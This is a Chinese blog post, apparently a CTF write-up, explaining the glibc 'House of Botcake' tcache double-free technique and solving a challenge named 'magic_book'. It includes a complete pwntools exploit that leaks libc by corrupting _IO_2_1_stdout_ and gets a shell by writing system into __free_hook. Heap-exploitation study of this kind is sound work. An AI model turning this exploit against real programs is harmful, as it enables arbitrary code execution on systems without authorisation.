首页 > 其他分享 >house of botcake

house of botcake

时间:2022-11-03 03:33:05浏览次数:70  
标签:Tcache 堆块 libc house free promise victim botcake

House of Botcake

先看看啥是house of botcake:https://forum.butian.net/index.php/share/1709

当 free 掉一个堆块进入 tcache 时,假如堆块的 bk 位存放的 key == tcache_key , 就会遍历这个大小的 Tcache ,假如发现同地址的堆块,则触发 Double Free 报错。

从攻击者的角度来说,我们如果想继续利用 Tcache Double Free 的话,一般可以采取以下的方法:

  1. 破坏掉被 free 的堆块中的 key,绕过检查(常用)
  2. 改变被 free 的堆块的大小,遍历时进入另一 idx 的 entries
  3. House of botcake(常用)

House of botcacke 合理利用了 Tcache 和 Unsortedbin 的机制,同一堆块第一次 Free 进 Unsortedbin 避免了 key 的产生,第二次 Free 进入 Tcache,让高版本的 Tcache Double Free 再次成为可能。

此外 House of botcake 在条件合适的情况下,极其容易完成多次任意分配堆块,是相当好用的手法。

示例

  1. 分配七个填充堆块(小于最大的Tcache,大于最大的Fastbin),一个辅助堆块 prev ,一个利用堆块 victim
// https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    intptr_t *prev = malloc(0x100);
    intptr_t *victim = malloc(0x100);
    malloc(0x10); // 防止合并
  1. free 掉七个填充堆块,此时对应大小的 Tcache 被填满
    for(int i=0; i<7; i++){
        free(x[i]);
    }
  1. free 掉利用堆块 victim,由于此时 Tcache 被填满,victim 进入 Unsortedbin(绕过了 key 的产生)
    free(victim);
  1. free 掉辅助堆块 prev,此时俩 Unsortedbin 相邻,会触发 Unsortedbin Consolidate 合并成一个大堆块
    free(prev);
  1. 申请出一个堆块,此时会优先从 Tcache 中取出一个填充堆块腾出位置。然后再 Free 掉 victim ,victim 进入 Tcache,完成 Double Free
    malloc(0x100);
    /*VULNERABILITY*/
    free(victim);// victim is already freed
    /*VULNERABILITY*/

最终的效果就是完成了堆块重叠,一个大的 Unsortedbin 吞着一个小的 Tcachebin。通过切割 Unsortedbin 我们分配一个比 victim 稍大的堆块 attacker 就可以覆写到 victim 的 next 指针,完成 Tcache Poisoning。

由于我们前期 Free 掉了多个填充堆块,此时我们同样大小的 Tcachebin 下的 count 是充足的。因此完成一次 Tcache Poisoning 后,通过 Free 掉 victim 和 attacker,再申请回来 attacker 可以再次覆写到 victim 的 next 指针,完成多次 Tcache Poinsoning。

magic_book

分析:总共3个功能:add(大小<=0x100),delete(无UAF),一次delete(有UAF)

add:

image-20221103025759459.png

delete(无UAF):

image-20221103025829096.png

onefree(有UAF,只能用一次):

image-20221103025854479.png

解题思路:

先类似示例,用house of botcake构造tcache被unsorted bin包裹,double free实现tcache poisoning需要消耗唯一的一次能UAF的free。

此时可将tcache自带的0x55开头的堆地址的后四位,覆盖为包含具有0x7f开头libc附近的地址(main_arena)的堆的地址后四位,其实就是某一个unsorted bin的堆地址。然后利用重叠的堆,申请出一个新堆,修改0x7f开头main_arena地址的后四位,改为_IO_2_1_stdout_的后四位,然后不断malloc,最终拿到IO_2_1_stdout的flag位,直接覆盖为p64(0xfbad1887)+p64(0)3+p8(0),这样会打印出带有_IO_2_1_stdin_的地址,或者覆盖为p64(0xfbad1800)+p64(0)3+b"\x58",这样会打印出_IO_file_jumps的地址,此时完成泄露,得到libc基址

由于我们前期 Free 掉了多个填充堆块,此时我们同样大小的 Tcachebin 下的 count 是充足的。因此完成一次 Tcache Poisoning 后,通过 Free 掉 victim 和 attacker,再申请回来 attacker 可以再次覆写到 victim 的 next 指针,完成多次 Tcache Poinsoning。

该题由于后续只能用无UAF的delete,故可以根据先前的构造,先free victim进入tcache,后free attacker去修改tcache->next,这里直接修改为__free_hook,然后malloc后往freehook写入system地址,随便free一个内容是/bin/sh的堆即可

PS:由于覆盖0x55开头的堆地址的后四位 和 修改0x7f开头main_arena地址的后四位 的高位均为随机,故需要爆破。

exp:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pickletools import stackslice
from time import sleep
from shutil import move
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch='amd64'
#p=remote('127.0.0.1',6666)
binary="./pwn"
p=process(binary)
context.log_level='debug'
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('/pwn/libc')

elf=ELF(binary)
s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, ''))
uu64    = lambda data   :u64(data.ljust(8, ''))
bp      = lambda bkp                :gdb.attach(p,'b *'+str(bkp))



def promise(size,content='/bin/sh\x00'):
    sal('Your choice : ','1')
    sal('Size: ',str(size))
    sa('Content: ',content)

def recall(index):
    sal('Your choice : ','2')
    sal('Index: ',str(index))


def onefree(index):
    sal('Your choice : ','9')
    sal('Index: ',str(index))


def pwn():
    for i in range(0,7):
        promise(0xd0)
    promise(0xd0)#prev
    promise(0xd0)#victim

    promise(0x10)

    for i in range(0,7):
        recall(i)
    onefree(8)
    recall(7)
    
    
    promise(0xd0)
    recall(8)
    
    a=libc.sym['_IO_2_1_stdout_']&0xffff
    stdout=[a,0x26a0]
    pl='a'*0xd0+p64(0)+p64(0xe1)+'\xc0\xa9'
    promise(0xf0,pl)#attacker
    
    
    print hex(stdout[0])
    
    promise(0xd0,'\xc0\xb9')
    
    promise(0x80,p16(stdout[0]))
    
    promise(0xd0,p16(stdout[0]))
    promise(0xd0,p64(0xfbad1887)+p64(0)*3+p8(0))
    
    leak=u64(ru('\x7f')[-6:].ljust(8,'\x00'))
    libc_base=leak-libc.sym['_IO_2_1_stdin_']
    print hex(leak)
    print hex(libc_base)
    recall(12)#free victim
    recall(11)#free attacker
    pl='a'*0xd0+p64(0)+p64(0xe1)+p64(libc.sym['__free_hook']+libc_base-8)
    promise(0xf0,pl)
    
    promise(0xd0)
    pl=8*'a'+p64(libc.sym['system']+libc_base)
    promise(0xd0,pl)
    gdb.attach(p)
    recall(10)
    
    
    it()
#pwn()
while True:
    try:
        p=process(binary)
        pwn()
        
    except KeyboardInterrupt:
        p.close()
        break
    except EOFError:
        p.close()
        continue
    except:
        p.close()
        continue

标签:Tcache,堆块,libc,house,free,promise,victim,botcake
From: https://www.cnblogs.com/brain-Z/p/16853137.html

相关文章

  • 2022-10-24 ClickHouse 源码解析-查询引擎经典理论
    ​​ClickHouse源码解析:综述​​​​ClickHouse源码解析:MergeTreeWrite-Path​​​​ClickHouse源码解析:MergeTreeRead-Path​​ClickHouse源码解析:查询引擎......
  • Clickhouse之集群操作
    查看集群:在任意一台机上,使用/usr/bin/clickhouse-client--hostlocalhost--port9000连接本地服务器select*from`system`.clusters; 建库:SHOWDATABASESSHOWCREA......
  • 集群部署ClickHouse
    一、部署前提需要一个Zookeeper集群搭建clickhouse集群时,需要使用Zookeeper去实现集群副本之间的同步,所以这里需要zookeeper集群,zookeeper集群安装后可忽略此步骤。......
  • 单机部署ClickHouse
    一、单机部署ClickHouse1.1、ClickHouse部署前提Clickhouse官网为:[https://clickhouse.com/],在官网中可以看到ClickHouse可以基于多种方式安装,rpm安装、tgz安装包安装......
  • Clickhouse之集群操作
    查看集群:在任意一台机上,使用/usr/bin/clickhouse-client--hostlocalhost--port9000连接本地服务器select*from`system`.clusters; 建库:建库create......
  • ClickHouse(08)ClickHouse表引擎概况
    目录合并树家族日志引擎系列集成的表引擎其他特殊的引擎资料分享参考文章目前ClickHouse的表引擎主要有下面四个系列,合并树家族、日志引擎系列、集成的表引擎和其他特殊......
  • 6.ClickHouse系列之配置分片集群
    副本集对数据进行完整备份,数据高可用,对于分片集群来说,不管是ES还是ClickHouse是为了解决数据横向扩展的问题,ClickHouse在实际应用中一般配置副本集就好了1.编写clickhous......
  • 7.ClickHouse系列之查询优化(一)
    1.Explain查询计划查看//查看执行计划,默认值EXPLAINPLANSELECTarrayJoin([6,6,7])//AST语法树查看EXPLAINASTSELECTnumbersFROMsystem.numbersLIMIT10;/......
  • 8.ClickHouse系列之查询优化(二)
    本文介绍多表关联查询优化方式1.用IN代替JOIN当多表查询时,查询的数据仅从一张表出时,可考虑用IN操作而不是JOINSELECTa.*FROMhits_v1aWHEREa.CounterIDin(SELEC......
  • 1.ClickHouse系列之Docker本地部署
    本文介绍docker-compose方式部署clickhouse数据库编写docker-compose.yml文件:version:'3'services:elasticsearch:image:clickhouse/clickhouse-server......